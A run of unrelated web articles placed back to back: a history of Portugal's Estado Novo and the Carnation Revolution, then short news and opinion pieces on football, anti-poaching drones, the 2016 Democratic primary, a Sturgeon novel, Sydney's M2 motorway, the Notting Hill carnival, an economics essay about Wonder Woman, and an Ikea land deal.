For the Portuguese ruling regime, the centuries-old overseas empire was a matter of national interest. The criticism against some kinds of racial discrimination in the Portuguese African territories were refuted on the grounds that all Portuguese Africans would be Westernized and assimilated in due time, through a process called civilising mission. The wars had the same effects in Portugal as the Vietnam War in the United States, or the Afghanistan War in the Soviet Union; they were unpopular and expensive lengthy wars which were isolating Portugal's diplomacy, leading many to question the continuation of the war and, by extension, the government. Although Portugal was able to maintain some superiority in the colonies by its use of elite paratroopers and special operations troops, the foreign support to the guerrillas, including arms embargoes and other sanctions against the Portuguese, made them more maneuverable, allowing them to inflict losses on the Portuguese army. The international community isolated Portugal due to the long-lasting Colonial War. The situation was aggravated by the illness of Salazar, the strong man of the regime, in 1968. His replacement was one of his closest advisors, Marcelo Caetano, who tried to slowly democratize the country, but could not hide the obvious dictatorship that oppressed Portugal. Salazar died in 1970.
After spending the early years of his priesthood in Africa, the British priest Adrian Hastings created a storm in 1973 with an article in The Times about the "Wiriyamu massacre"[32] in Mozambique, revealing that the Portuguese Army had massacred some 400 villagers at the village of Wiriyamu, near Tete, in December 1972. His report was printed a week before the Portuguese prime minister, Marcelo Caetano, was due to visit Britain to celebrate the 600th anniversary of the Anglo-Portuguese Alliance. Portugal's growing isolation following Hastings's claims has often been cited as a factor that helped to bring about the "carnation revolution" coup which deposed the Caetano regime in 1974.[33]
The various conflicts forced the Salazar and subsequent Caetano governments to spend more of the country's budget on colonial administration and military expenditures, and Portugal soon found itself increasingly isolated from the rest of the world. After Caetano succeeded to the presidency, the colonial war became a major cause of dissent and a focus for anti-government forces in Portuguese society. Many young dissidents, such as left-wing students and anti-war activists, were forced to leave the country so they could escape imprisonment or conscription. However, between 1945 and 1974, there were also three generations of militants of the radical right at the Portuguese universities and schools, guided by a revolutionary nationalism partly influenced by the political sub-culture of European neofascism. The core of the struggle of these radical students lay in an uncompromising defence of the Portuguese Empire in the days of the authoritarian regime.[34]
By the early 1970s, the Portuguese Colonial War continued to rage on, requiring a steadily increasing budget. The Portuguese military was overstretched and there was no political solution or end in sight. While the human losses were relatively small, the war as a whole had already entered its second decade. The Portuguese ruling regime of Estado Novo faced criticism from the international community and was becoming increasingly isolated. It had a profound impact on Portugal – thousands of young men avoided conscription by emigrating illegally, mainly to France and the US.
The war in the colonies was increasingly unpopular in Portugal itself as the people became weary of war and balked at its ever-rising expense. Many ethnic Portuguese of the African overseas territories were also increasingly willing to accept independence if their economic status could be preserved. However, despite the guerrilla's unpredictable and sporadic attacks against targets all over the countryside of the Portuguese African territories, the economies of both Portuguese Angola and Mozambique were booming, cities and towns were expanding and prospering steadily over time, new transportation networks were being opened to link the well-developed and highly urbanized coastal strip with the more remote inland regions, and the number of ethnic European Portuguese migrants from mainland Portugal (the metrópole) increased rapidly since the 1950s (although always as a small minority of each territory's total population).[35]
Suddenly, after some failed attempts of military rebellion, in April 1974 the Carnation Revolution in Lisbon, organized by left-wing Portuguese military officers – the Armed Forces Movement (MFA), overthrew the Estado Novo regime. The military-led coup can be described as the necessary means of bringing back democracy to Portugal, ending the unpopular Colonial War where thousands of Portuguese soldiers had been commissioned, and replacing the authoritarian Estado Novo (New State) regime and its secret police which repressed elemental civil liberties and political freedoms. However, the military coup's organization started as a professional class[36] protest of Portuguese Armed Forces captains against a decree law: the Dec. Lei nº 353/73 of 1973.[37] Younger military academy graduates resented a program introduced by Marcello Caetano whereby militia officers who completed a brief training program and had served in the overseas territories' defensive campaigns, could be commissioned at the same rank as military academy graduates. Caetano's Portuguese Government had begun the program (which included several other reforms) in order to increase the number of officials employed against the African insurgencies, and at the same time cut down military costs to alleviate an already overburdened government budget. After the coup, the MFA-led National Salvation Junta, a military junta, took power. Caetano resigned, and was flown under custody to the Madeira Islands where he stayed for a few days. He then flew to exile in Brazil.[38] By 1975 the Portuguese Empire had all but collapsed.
Aftermath [ edit ]
After the Estado Novo the country would then experience a turbulent period of provisional governments and a nearly disintegrated state reminiscent of the First Republic, a condition that the Estado Novo had so assiduously attempted to avoid. These provisional governments also briefly censored newspapers and detained oppositionists. Historian Kenneth Maxwell considers that, for many reasons, Portugal, in its transition from authoritarian rule to a more democratic government, resembled Nicaragua more than any other among the South American nations.[39] During the final months of the Francoist State, which had survived to this point, Spain considered invading Portugal to check the perceived threat of communism caused by the Carnation Revolution.[40]
After a period of social unrest, factionalism, and uncertainty in Portuguese politics, between 1974 and 1976, neither far left nor far right radicalism prevailed. However, pro-communist and socialist elements retained control of the country for several months before elections. Álvaro Cunhal's Portuguese Communist Party (PCP) remained Stalinist in outlook and unsympathetic to the sort of reforms that were emerging as "Euro-Communism" in other countries in Western Europe.[41]
The retreat from the colonies and the acceptance of its independence terms which would create newly independent communist states in 1975 (most notably the People's Republic of Angola and the People's Republic of Mozambique) prompted a mass exodus of Portuguese citizens from Portugal's African territories (mostly from Portuguese Angola and Mozambique),[42][43] creating over a million destitute Portuguese refugees — the retornados. By 1975, all the Portuguese African territories were independent and Portugal held its first democratic elections in 50 years. However, the country continued to be governed by a military-civilian provisional administration until the Portuguese legislative election of 1976.
For the Portuguese and their former colonies, this was a very difficult period, but many felt that the short-term effects of the Carnation Revolution were well worth the trouble when civil rights and political freedoms were achieved. The Portuguese celebrate Freedom Day on 25 April every year, and the day is a national holiday in Portugal.
By refusing to grant independence to its overseas territories in Africa, the Portuguese ruling regime of Estado Novo was criticized by most of the international community, and its leaders Salazar and Caetano were accused of being blind to the "Winds of change". After the Carnation revolution in 1974 and the fall of the incumbent Portuguese authoritarian regime, almost all the Portugal-ruled territories outside Europe became independent. For the regime, the retention of those overseas possessions had been a matter of national interest.
See also [ edit ]
Notes [ edit ]
^ Before WWII, Salazar declared: "We are opposed to all forms of Internationalism, Communism, Socialism, Syndicalism and everything that may divide or minimize, or break up the family. We are against class warfare, irreligion and disloyalty to one’s country; against serfdom, a materialistic conception of life, and might over right". Salazar criticized Fascist dictatorship that according to his opinion was leaning towards pagan Caesarism and towards a new state which recognized no limitations of legal moral order.
References [ edit ]
Further reading [ edit ]
Baklanoff, Eric N. "The Political Economy of Portugal's Later 'Estado Novo': A Critique of the Stagnation Thesis." Luso-Brazilian Review (1992): 1-17. in JSTOR
(1992): 1-17. in JSTOR Graham, Lawrence S., and Harry M. Makler. Contemporary Portugal: the revolution and its antecedents (U of Texas Press, 1979)
(U of Texas Press, 1979) Hamann, Kerstin, and Paul Christopher Manuel. "Regime changes and civil society in twentieth-century Portugal." South European Society and Politics 4.1 (1999): 71-96.
4.1 (1999): 71-96. Kay, Hugh. Salazar and modern Portugal (1970)
(1970) de Meneses, Filipe. Salazar: A Political Biography (2009)
(2009) Payne, Stanley G. A History of Spain and Portugal (2 vol 1973) full text online vol 2 after 1700; standard scholarly history; chapter 27 pp 663–83
(2 vol 1973) full text online vol 2 after 1700; standard scholarly history; chapter 27 pp 663–83 Pimentel, Irene. "Women's Organizations and Imperial Ideology under the Estado Novo." Portuguese Studies (2002): 121-131. in JSTOR
(2002): 121-131. in JSTOR Pitcher, M. Anne. Politics in the Portuguese Empire: the State, industry, and cotton, 1926-1974 ( Oxford University Press, 1993)
( Oxford University Press, 1993) Sardica, José Miguel. "The Memory of the Portuguese First Republic throughout the Twentieth Century," E-Journal of Portuguese History (Summer 2011) 9#1 pp 1–27. online
(Summer 2011) 9#1 pp 1–27. online Stoer, Stephen R., and Roger Dale. "Education, state, and society in Portugal, 1926-1981." Comparative Education Review (1987): 400-418. in JSTOR
(1987): 400-418. in JSTOR West, S. George. "The Present Situation in Portugal," International Affairs (1938) 17#2 pp. 211–232 in JSTOR
Coordinates:Crystal Palace F.C. has agreed a five year contract extension with homegrown star Wilfried Zaha, securing the winger's long term future with the club.
Zaha has been awarded Palace's Player of the Season for the past two campaigns, and was instrumental in securing the club's fifth consecutive season in the Premier League.
The Ivory Coast international has made 258 appearances for the Eagles over two spells with the club, scoring 34 goals.
Zaha said, "Palace is in my heart and I don't think the story is over. I spoke with Steve and I think I still have more to give this Club. The supporters have been amazing and I want us to do more than just stay in the League next year. I would like to thank the Chairman for being a big part of my journey and his fellow owners for backing me and rewarding my progression. Let's do this!"
Commenting on the news, Chairman Steve Parish said, "Wilf has been with the club since he was 8 years old and in the first team from the day I arrived. He is our talisman and someone that week in week out gives everything for the Red and Blue. I'm delighted he has committed his future to us and look forward to climbing up the table with him next year."Park rangers trying to tackle illegal poaching and wildlife trafficking could soon have a new tool, in the form of an unmanned aerial vehicle (UAV) that can cover large distances to detect and locate poachers.
At the start of November, UAVs designed by teams from around the world will be put to the test in South Africa in a bid to find the ultimate anti-poaching drone.
This will be the final step in the Wildlife Conservation UAV Challenge (wcUAVc), a competition that has been running since October 2013 to guide competing teams through the process of developing and constructing a cost-effective, robust drone to combat poaching.
The winning design will have a significant effect of the growing poaching problem in Kruger National Park, South Africa, where it will be used by park rangers to tackle the shocking levels of rhino poaching.
While equipment does exist to fulfil this function, there is a pressing need for affordable UAVs with adequate sensing and communication technology to keep rangers informed.
Writing in The Futurist, wcUAVc founder Princess Aliyah Pandolfi explained the challenges with using existing drones to track poachers: “Kruger’s rangers had experimented with aircraft developed for other purposes, but affordable aircraft lacked the sensing, processing, and communications essential to the mission.”
The winning UAV should, however, resolve this issue. It will be able to be launched easily within the national park, withstand rugged terrain with several hours of operation time and detect poachers.
It will then use existing communication channels to alert park rangers, who can intervene before animals are hurt, before safely returning to its launch site for reuse.
All of this will need to be achieved for less than $3,000, meaning the competing teams face a significant challenge. However, existing systems will help; all rangers and visitors already carry RFID tags, making detection of unauthorised intruders significantly easier.
Kruger is home to a significant rhino population, but has seen a dramatic rise in poaching in recent years.
In 2000 only 7 rhinos died in South Africa, but by 2013 this had risen to 1004, with a similar number expected for 2014. There are fears that rhinos could die out completely by 2020 if nothing is done.
Rhinos are being poached for their horns, which are highly prized for use in medicine in China and Vietnam. As China’s middle class has grown over the past decade, it is believed that demand for such medicine has increased, prompting a rise in poaching.
“Perhaps in a few generations, the demand for rhino horn will decrease, but unless the poaching ends, the rhinos will be gone in just a few years,” said Pandolfi.COLUMBIA, S. C. — Hillary Clinton and Bernie Sanders are highlighting their contrasting styles and character as election season rolls on.
While the Democratic presidential candidates continue toward the South Carolina primary Saturday and looming March contests, their different pitches are on full display. Clinton touts her regional expertise and personal ties on the ground, while Sanders focuses on his message of tackling income inequality and political oligarchy.
Undecided voters must determine which candidate would best represent their interests moving forward.
The stylistic choices by the former secretary of state and Vermont senator highlight key tensions in the race. She shows strength in endorsements and party support, much of which Sanders lacks. But he has the ability to connect with voters through a big inspirational message, something Clinton has struggled to do.
The Democratic contenders agree on some fundamental goals for the country, but have much different views regarding how to achieve them. For example, both seek to answer to the anger many Americans are feeling towards Wall Street and the nation’s largest banks through reforms. However, there is a clear divide in the ways they would accomplish this.
Clinton wants to manage financial institutions by pushing Congress to pass legislation that would regulate “high-risk” behavior. She wants to close loopholes in an already existing post-bailout law originally meant to prohibit banks from shaky trading bets with taxpayer-backed money; the loophole allows hedge funds to be used in these bets.
Sanders believes the best way to manage the largest financial institutions and prevent a future crisis is to break them up into smaller companies, instead of attempting to control them through additional regulations. He is a proponent of reinstating Glass-Steagall provisions, which originally prevented banks from “gambling” with their customers’ money. The repeal of those laws in the late 90s is a key reason the economy took a nosedive over the last decade.
Clinton would face an uphill battle, with Congress at a near-stalemate on a number of issues, especially corporate finance and how to handle the “big banks.” Sanders too, would face a difficult fallout from the financial and banking industries he’s challenging. How well they will handle backlash from opponents as president is undoubtedly a major selling point for voters, as well as strength in convictions to keep promises and avoid changing views in the face of pressure.A Nebula Award–winning author reinvents the alien invasion novel with this story of a malevolent, galaxy-consuming hive mind—and its surprising human hosts.
Drunk, angry, abusive, and pathetic, Dan Gurlick exists at the very lowest level of human civilization, sleeping in junkyard cars and scrounging through garbage cans for his dinner. But his last rotting meal contains something unexpected: a spore that originated from a galaxy many light-years away. First, Dan eats the spore, then, the spore eats Dan; and the homeless alcoholic becomes a host for the Medusa. An insatiable alien hive mind, the Medusa has already consumed the life forms of a billion planets. Now, it hungers for the dominant species of Earth. But to do so, it must somehow unite the planet’s intelligent creatures into a single shared consciousness: an assignment the miserable wretch Dan may prove surprisingly capable of carrying out. To Marry Medusa is suspenseful, inventive, and surprisingly compassionate; a vibrant and unforgettable exploration of what it means to be more—or less—than human. This ebook features an illustrated biography of Theodore Sturgeon including rare images and never-before-seen documents from the University of Kansas’s Kenneth Spencer Research Library and the author’s estate, among other sources.Bus commuters say their travel times have not changed since the Hills M2 upgrade was finished despite better public transport used as a key justification for the project.
After enduring two years of clogged traffic while construction was underway, some bus users say they have lost out while motorists reap the benefits of the widening of the tollway between the Hills district and Lane Cove.
Marc and Rebecca Neal are among passengers whose journey to the city takes longer since the Hills M2 Motorway upgrade was completed. Credit:Peter Rae
Transurban, which has a contract to operate the road until 2048, has boosted its toll revenue by almost 40 per cent over the past financial year with the M2 raking in $221 million, a 14 per cent increase on previous year.
A Hillsbus spokesman confirmed that due to an increase in bus use and traffic on the motorway, bus travel times during the morning peak were "slightly" higher than they were before the upgrade. On one route the travel time had increased by five minutes, he said.Council says scheme is effective way of protecting vulnerable young people from harm during carnival
Young people deemed to be at risk of getting caught up in crime and disorder during the Notting Hill carnival this weekend are being removed from the area and invited to a watersports weekend at a cost of more than £1,000 each, the Guardian has learned.
Fifteen young people aged from 13 to 17 have been selected for the trip, which is costing the Royal Borough of Kensington and Chelsea £20,000.
After Grenfell: a carnival to remember Read more
The council said the Alternative to Carnival Engagement (ACE) project was an effective way of protecting vulnerable young people from harm.
On Tuesday morning 26 people were arrested as part of what police said was a wider crackdown on drug-related crime, involving 290 arrests in total, aimed at reducing the risk of trouble at the carnival.
The ACE project, organised by the social enterprise Epic CIC – formerly the council’s youth service – has been running for five years, and police routinely make arrests before the carnival, which is the second largest in the world after Rio and attracts more than 2 million people.
The 2017 event is under heavy scrutiny as it comes soon after the fire at nearby Grenfell Tower. There have been questions about the best way for the event to take stock of the disaster.
Local people are asking revellers to wear green as a gesture of solidarity with victims and survivors of the fire.
Daniel Renwick, a youth worker in the Ladbroke Grove area where the carnival takes place, expressed concern about the ACE scheme. He said that although it was preferable to provide positive activities for the group rather than subject them to dawn raids by the police, there were concerns about how they were selected. “There are questions about whether or not the information on that database [from which participants are selected] is always correct,” he said.
He added that increased police activity in the run-up to the carnival was very noticeable. “Watching police question young people in the shadow of the husk of Grenfell Tower somehow feels post-apocalyptic,” he said.
A council spokesman said: “This year 15 young people were referred to the ACE project. These 15 young people have been engaged since May of this year. Some of these young people will be taken on a residential trip over the carnival weekend, and some are being taken out of the country by family, depending on their individual needs. The project is voluntary.
Police arrest at least 26 people in pre-Notting Hill carnival raids Read more
“In the months before carnival this group of young people are supported with one-to-one mentoring, independent living skills, healthy eating, as well as knife and gang awareness sessions. On the residential weekend young people access a number of activities such as water sports and kayaking. The engagement does not solely focus on carnival, but seeks to work with them both before and after carnival.”
He added: “Referrals are received from a range of partners such as youth clubs, social services, youth offending teams, police, schools and other services. These are young people who colleagues are concerned may be vulnerable to being victims of violence or exploitation over carnival weekend. The emphasis is on safeguarding young people and protecting them from any harm.”
The spokesman said Epic CIC would continue to provide support to the young people after carnival weekend.
A Metropolitan police spokeswoman said she believed the Kensington and Chelsea ACE scheme was the only one of its kind in London, although the carnival is attended by people from all over the capital and beyond.
Another Met spokesperson said: “The police are sometimes involved when it comes to suggesting young people who might benefit from the scheme, but we do not organise it.”Economists don’t normally think of ourselves as having superpowers, but if we did, it would probably be the power to “see the unseen” as Bastiat observed over 150 years ago. The great thing about this superpower is that it allows us to break through conventional ways of thinking to gain new insights. Sometimes it even lets us see things that comic book heroes with superpowers can’t.
What matters more than what’s in our hearts, or how great the people in charge are, is the structure of political, social, and economic institutions.Like many others, I recently watched and enjoyed the new Wonder Woman film. I am no film critic, nor am I a comic book geek, so I’ll refrain from any commentary about the quality of the film or the authenticity of its treatment of the heroine. What I do want to comment on is one key aspect of the plot and what it means for how we understand the world, and how the economist’s superpower of seeing the unseen can teach us a lesson from it.
I don’t think my plot point is a major spoiler, but if you haven’t seen the film and want to play safe, you might wish to come back to this after you do.
Intentions vs. Real Outcomes
The core of the plot is that Wonder Woman sets out, with help, to try to end World War I before the Germans use especially nasty poison gas to kill millions. Wonder Woman, who is a descendant of the gods, is convinced that the war is happening because humans have come under control of the evil Ares, the god of war. She believes she can end the war by killing Ares. Believing this also allows her to believe that humans are basically good, but corrupted by an evil god.
Without giving away the fun, she finds out that her belief is incorrect. When she realizes this, she becomes convinced that the reason for the war is that human beings themselves have evil in their hearts independent of the gods. We were created with enough evil in us to drive us to kill in the ways seen during war.
Wonder Woman’s switch from what we might call the “Evil Great Man” theory of war (and, perhaps, history more generally) to the “Humans Are Full of Evil” theory is a version of a dichotomy we see often in social commentary. Social outcomes are ascribed either to the controlling actions of a powerful individual or small group, or to the intentions of humanity in general.
Such explanations need not be applied only to socially undesirable outcomes like war or famine or poverty. We sometimes see one or the other option invoked to explain desirable outcomes. Think of the ways in which we talk about President Roosevelt having brought us out of the Great Depression, or the ways in which religion and myth are filled with stories of great lawgivers who provided the rules by which societies thrived and prospered.
The Role of Institutions
The problem is that these two kinds of explanations do not exhaust the possible ways we can do social analysis. Outcomes need not be directly connected to the actions of great men and women, nor to the psychological states or intentions of humans as a whole. Wars might happen for reasons other than the desires of powerful individuals or the evil in men’s hearts. After all, if we are so suffused with evil that we are constantly inclined to war, how do we ever explain (relative) peace?
Just as those who try to explain the rise and fall of gasoline prices by the greed of oil companies face difficulty in explaining why prices ever fall (did the companies suddenly become full of altruism?), so do those who explain social disorder by the evil in men’s hearts have to explain how extended periods of peace and prosperity have been possible. The same is true for the Great Man theory: why do periods of great calamity and great prosperity seem to happen without people of great evil or good being in charge?
So what is an alternative? The answer is “institutions.” What matters more than what’s in our hearts, or how great the people in charge are, is the structure of political, social, and economic institutions and the information and incentives they provide for people.
Prosperity does not depend upon “great men,” either as socialist planners or capitalist entrepreneurs.Institutions like private property, the rule of law, freedom of exchange, and sound money provide the information and incentives needed to generate positive-sum outcomes like social cooperation, peace, and prosperity. When those institutions are weak or absent, social cooperation is less likely and the odds of war and other forms of negative-sum interactions are greater.
The market illustrates this point nicely. What causes prosperity? Is it the altruistic desire of individuals to create products and services for others? Is it having a few brilliant people who can either plan an economy or who invent great new technologies? It’s none of those.
Prosperity emerges as the result of institutions that ensure the protection of private property, and the right to exchange and contract, along with an ethical environment that sees the pursuit of profit as at least tolerable, if not morally praiseworthy. Prosperity does not depend upon “great men,” either as socialist planners or capitalist entrepreneurs. Entrepreneurship can be found all over the world and throughout history. Whether it produces prosperity depends upon the institutional and ethical context in which it operates. We need only assume that humans generally wish to improve their own lives and those of the people they care about.
Seeing the Unseen
Consider war. Humans go to war not because powerful people have some sort of control over them, nor because we have so much evil in our hearts. We go to war because the institutions and attitudes that promote peaceful social cooperation have broken down, or been destroyed, leading us to use violence and force to extract wealth from others and improve their own lives rather than engaging in mutually beneficial exchange. Despite her god-like powers, both of the places Wonder Woman looked to explain war are not going to give her good answers. That’s because she lacks the economist’s superpower of seeing the unseen.
Wonder Woman’s superpowers didn’t enable her to understand the causes of war.That the real causes of social outcomes can elude even the children of gods should give us pause. I was thinking about Wonder Woman’s false dichotomy this weekend while listening to an excellent after-dinner talk by Kevin Williamson of National Review. One of the points he made was that, like fish who do not know what water is because they have always been swimming in it, people in the early 21st century west do not appreciate just how prosperous we are, and how much more prosperous we are than a generation ago, because we have known nothing else.
I think this is right, and I have tried in numerous publications to remind us that we are swimming in the water of prosperity. The Wonder Woman discussion, however, offers us a possible reason that we miss the water that’s all around us. Perhaps because we cannot attribute that prosperity to the actions of a few great people, or because of some change in human motivation, we are at a loss to understand and appreciate it. At least we can’t see it without the economist’s superpower.
What We Cannot See
Perhaps it is not just that the prosperity itself is as invisible as the water fish swim in, but that the institutional causes of that prosperity are as well. We in the prosperous West also swim in an ocean of institutions that still work reasonably well at promoting prosperity and social cooperation. We don’t appreciate the role played by private property, the rule of law, the freedom to trade, etc., because they are part of our social furniture in ways we simply do not notice until they are gone.
Wonder Woman’s superpowers didn’t enable her to understand the causes of war, and thinking that great people or changes in the human heart will stop war or bring prosperity is a mistake we cannot afford to make in a world where the institutions that actually create peace and prosperity are under threat from a variety of sources.
If we are to maintain the prosperity and social cooperation that has characterized the last 200 or more years, we shouldn’t be lighting up the Bat-signal or calling for Superman and other superheroes to save us with their superpowers. We should be looking to instead to cultivate in ourselves the economist’s superpower of seeing the unseen, which will enable us to not only appreciate the often invisible peace and prosperity that characterizes modern life, but to understand its equally invisible causes.Land deal with retail giant could close as early as next month
Ikea, which opened its first Colorado store, seen here, in Centennial in 2011, is planning a second outlet in Broomfield, the retailer announced Thursday. ( Cyrus McCrimmon / The Denver Post )
Less than a week after Ikea announced plans to build its second Colorado store in Broomfield, City Council members took steps that will pave the way for the furniture retailer.
The Swedish company is working to acquire the Northland property at the northwest corner of Colo. 7 and Interstate 25, City and County Manager Charles Ozaki said at Tuesday night's council meeting.
Ikea is considering a 123-acre parcel near I-25 and East Baseline Road, but has not determined a time frame for either submitting store plans to Broomfield, or when it might open a retail outlet at that location.
As part of the real estate deal, which could close as soon as September, numerous steps need to be taken, he said, the first of which was recently handled by vacating a portion of Northlands final plat in anticipation of the future development.
Tuesday night two more steps were taken — Ikea requested terminating of the previously approved Subdivision Improvement Agreement since it is no longer applicable with a revised development plan. Also, the council agreed to an assignment of development rights, conveyances, condemnation awards, contract rights and other intangibles from Northland to Ikea upon closing the sale.
The City Council passed the resolutions. No council questions, or questions from the public, were raised.
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A new subdivision plan needs to be prepared for Ikea to move forward.
No building permit could be issued on this land until a new subdivision is approved by the City Council after that action was taken.
The Urban Renewal Authority also authorized the assignment of certain development rights, contract rights and condemnation awards.
Ozaki said he believes there will be several more resolutions for council to consider as Ikea moves forward with plans to build in Broomfield.
"It is a major project for Broomfield," he said.
Mayor Randy Ahrens said all the feedback he's received from the community has been "very, very positive."
"Residents are excited about Ikea investing in our community," he said.
Ikea estimates a Broomfield store would bring more than 500 jobs during the construction phase, followed by the hiring of about 250 employees to staff the store once it's complete.
Jennifer Rios: 303-473-1361, riosj@broomfieldenterprise.com or Twitter.com/Jennifer_RiosApollo 11's Buzz Aldrin, presentation at Sixth & I Synagogue, Washington, DC. Photo by Ralph Benko
By Ralph Benko
I vividly remember watching the awesome drama of the first moonwalk on July 20, 1969. I was in a National Science Foundation summer archaeology project. The most modern and the most ancient thus commingled in front of the black and white TV in the Student Union of Clarion State College in the company of our teaching aide |
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